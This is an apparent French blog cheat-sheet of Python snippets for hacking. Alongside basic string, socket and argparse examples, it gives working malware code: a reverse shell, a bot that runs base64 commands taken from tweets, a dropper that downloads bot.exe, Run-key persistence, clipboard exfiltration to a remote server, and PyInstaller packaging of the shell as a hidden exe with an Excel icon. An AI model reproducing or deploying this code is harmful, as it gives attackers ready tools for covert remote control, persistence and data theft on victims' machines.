Hacking python cheat-sheet

Traitement de texte

Find (trouver l'emplacement d'une chaîne)

string = 'k-lfa.info is awesome'

string.find('a')
0   # a est positionné au 4eme caractere, pour voir les 'a' suivants :

string.find('a', 5)
14  # un autre a est positionné au 14eme caractere

string.find('test')
-1  #Signifie que 'test' n'a pas été trouvé

Split (découper une chaine)

string = 'k-lfa.info is awesome'

string.split()
['k-lfa.info', 'is', 'awesome']  #decoupe par defaut a chaque espace

string.split('a')
['k-lf', '.info is ', 'wesome']  # decoupe a chaque 'a'

Replace (remplacer des caractères)

string.replace('k-lfa', 'k-lfuck')
'k-lfuck.info is awesome'  #Remplace k-lfa en k-lfuck

string.replace(' ', '\n')
k-lfa.info
is
awesome
#Remplace les espace par des sauts de lignes

Formatage de chaine

site = 'k-lfa'
string = "This site : %s is %s" % (site, "awesome")  # %s permet d'aller chercher la variable
print(string)
This site : k-lfa is awesome

Réseau (Module socket)

Tips

Attention si vous ajoutez un recv et un send sur un client ou serveur il devra obligatoirement recevoir un message avant d'envoyer

'''
Créer un socket TCP
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

'''
Créer un socket UDP
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

'''
Envoyer de la donnée via le socket
'''
data = str(raw_input("msg to send : ")
sock.send(data)

'''
Recevoir de la donnée sur le socket (et afficher)
'''
receiv = sock.recv(1024)
print receiv

'''
############# Utiliser le socket en serveur (Listen)
'''

#Bind du socket sur l'IP port
sock.bind(("192.168.1.11", 6666))
#Faire ecouter le socket
sock.listen(5)
#Attendre et autoriser une connexion
conn, addr = sock.accept()

'''
############# Utiliser le socket en client (Connect)
'''
sock.connect((Address, Port))

Ouvrir un socket en python (Coté serveur)

import socket

host = "192.168.35.90"
port = 6666

# Creation du socket
print "[+] Creating socket"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind du socket vers une IP et port
print '[+] Binded on port %s' % port
sock.bind((host, port))

# Faire ecouter le socket
sock.listen(5)
print "Now Listenning ... "

# Attente et autorisation de connexion tout le temps (boucle)
while True:
        #Attendre  et autoriser la connexion
        conn, addr = sock.accept()
        #Afficher message et infos lorsque client connecte
        print "Client connected: %s:%i" % (addr[0], addr[1])
        while True:
                #Afficher la donnee recue
                receiv = conn.recv(1024)
                print receiv

Créer une connexion client vers un serveur

import socket

Address = "192.168.1.11"   # Adresse IP ou se connecter
Port = 6666                # Port de connexion
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((Address, Port))       #Connexion au port du serveur
sock.send('Established\n')          #Le client Envoi "Established" sur la console du serveur

'''
Pour envoyer de la data en boucle
'''
while True:
    data = str(raw_input("msg to send : "))
    sock.send(data)
    print "Message envoye : ", data

Créer un reverse Shell (Coté client)

import socket, subprocess, os, sys

Address = "192.168.1.11"
Port = 6666
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((Address, Port))                   #Connexion au port du serveur
sock.send('Established\n')                      #Le client Envoi "Established" sur la console du serveur


while True:                                     #Boucle "Attend la data" et "envoi la data"
        command = sock.recv(1024)               #Création de l'objet commande pour le traiter (traitera la commande envoye depuis le serveur)
        command = command.replace('\n', '')     #Supprimer le caractere d'encodage de la commande

        if command == 'exit':                   #Si commande est egal a exit
                sock.close                      #Fermer le socket
                sys.exit(0)                     #Quitter le programme

        else:
                process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)  #Creation du sous process contenant les cmd a envoyer
                if command[:2] == 'cd':                                 #Si la commande commence par cd
                        if os.path.exists(str(command[3:].replace('\n', ''))):
                                os.chdir(str(command[3:].replace('\n', '')))     #Aller dans l'emplacement en argument et supprimer les caractere \n
                else:
                        out = process.stdout.read() + process.stderr.read()             #creer l'objet out contenant le resultat de la commande dans process + les flux stdout et erreur
                sock.send(out + str(os.getcwd()) + '> ')                #Envoyer le resultat au serveur avec la chaine de caractere de l'emplacement du dossier actuel (os.getcwd)

Command & Control (Twitter)

Bot récupérant le(s) tweet(s) (commandes dans les tweets)

import requests, lxml
from bs4 import BeautifulSoup


r = requests.get("https://twitter.com/K_lfaa")   #Recuperer la page web
r = r.text

'''
Pour recuperer la liste des tweet
###################################################
'''

soup = BeautifulSoup(r, 'lxml')
tweets = soup.find_all("p", {"class":"tweet-text"})

for tweet in tweets:
     print tweet.get_text()

'''
Pour recuperer le dernier tweet
###################################################
'''

soup = BeautifulSoup(r, 'lxml')
tweet = soup.find(class_="tweet-text")
print tweet.get_text()

Décoder le dernier tweet (base64)

import requests, lxml, base64, subprocess, os
from bs4 import BeautifulSoup

r = requests.get("https://twitter.com/k_lfaa")
r = r.text

soup = BeautifulSoup(r, 'lxml')
tweet = soup.find("p", {"class":"tweet-text"}).get_text()

tweet = base64.b64decode(tweet.encode("utf-8")).decode("utf-8")
print tweet

Exécuter la commande dans le dernier tweet (en boucle)

import requests, lxml, base64, subprocess, os, time
from bs4 import BeautifulSoup

while True:   #Boucle infinie
    time.sleep(5)   #Toute les 5 secondes
    
    r = requests.get("https://twitter.com/K_lfaa")
    r = r.text

    soup = BeautifulSoup(r, 'lxml')
    tweet = soup.find("p", {"class":"tweet-text"}).get_text()

    tweet = base64.b64decode(tweet.encode("utf-8")).decode("utf-8")
    p = subprocess.Popen(tweet,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    out = str(p.stdout.read() + p.stderr.read())
    print out

Créer de la persistance

Créer un droper (Programme téléchargeant un bot / payload)

import wget, os, getpass

username = getpass.getuser()
path = "C:\\Users\\" + username + "\\AppData\\Local\\Microsoft\\Sys"
os.mkdir(path)
os.chdir(path)
url = "http://192.168.1.11:8000/bot.exe"
wget.download(url)

Créer la clef de registre au démarrage de la session utilisateur

import _winreg

key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0 , _winreg.KEY_WRITE)
_winreg.SetValueEx(key, "Bot", 0, _winreg.REG_SZ, '"C:\\ProgramData\\Microsoft\\Sys\\bot.exe"')
_winreg.CloseKey(key)

Exfiltration clipboard via HTTP

Récupère le clipboard (Si nouveau clipboard) l'envoyer dans une url http à l'adresse 192.168.35.90 (dans l'exemple). Pour voir les requêtes consulter les logs du serveur web

import os, sys, time, requests, pyperclip
Address = "http://192.168.35.90/" #URL to send the clipboard

cliporig = pyperclip.paste()    #Premiere recuperation du clip board
pyperclip.copy(cliporig)        
if cliporig != None:            #Si la premiere recuperation n'est pas vide
    r = requests.get(Address, cliporig)   #Envoyer le clipboard sur le serveur web
    #print cliporig, "First"             #Afficher la premiere recuperation (pour debug)

while True:             #Boucle infinie
    time.sleep(2)       #Toute les 2 secondes
    clipdata = pyperclip.paste()    #Recuperer le clipboard
    pyperclip.copy(clipdata)
    if clipdata == cliporig:        # si clipboard actuel est égal au dernier clipboard
        print "pas de nouvelle copy : ", clipdata #afficher pas de nouvelle copie
    else:                       #Sinon
        cliporig = clipdata     #dernier clipboard devient le clipboard actuel
        r = requests.get(Address, clipdata) #Envoyer la data a l'adresse dans l'URL
        #print clipdata (Pour debug)

Module pratique

Créer des arguments

Permet de mettre des arguments pour le lancement du script

##### Arguments obligatoire
parser = argparse.ArgumentParser()
parser.add_argument("-a", "--address", help="IP address to scan", required=True)
parser.add_argument("-p", "--port", help="port to scan", required=True)
args = parser.parse_args()

address = args.address
port = int(args.port)

'''
##### Demande de saisie si pas d'argument 
'''
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-a", "--address", help="IP address to scan")
parser.add_argument("-p", "--port", help="port to scan",)
args = parser.parse_args()

if args.address:
    address = args.address
else:
    address = str(raw_input('Ip Address to scan : '))

if args.port:
    port = args.port
else:
    port = str(raw_input('Port to scan : '))

Créer un sous process

Le module subprocess permet de lancer des applications depuis le programme Python.

import subprocess

#Envoyer la commande ls -l 

process = subprocess.Popen(['ls', '-l'],shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

out = str(process.stdout.read() + process.stderr.read())  #Pour recuperer la sortie et erreur de la commande

#Pour envoyer une variable dans le subprocess

command = "ls -l"

process = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

out = str(process.stdout.read() + process.stderr.read())  #Pour recuperer la sortie et erreur de la commande

Horodater une action

import time
start = time.time()
end = time.time()

print("Action do in ", end - start)

Compiler un programme en exe

####### Installer le module
pip install pyinstaller

pyinstaller reverse_shell.py -F -w -i excel.ico

-F mettre les librairies dans l'exe
-w executer en arriere plan
-i ajouter icone dans l'exe

Quelques samples dispos ici

https://github.com/k-lfa/python-miscellaneous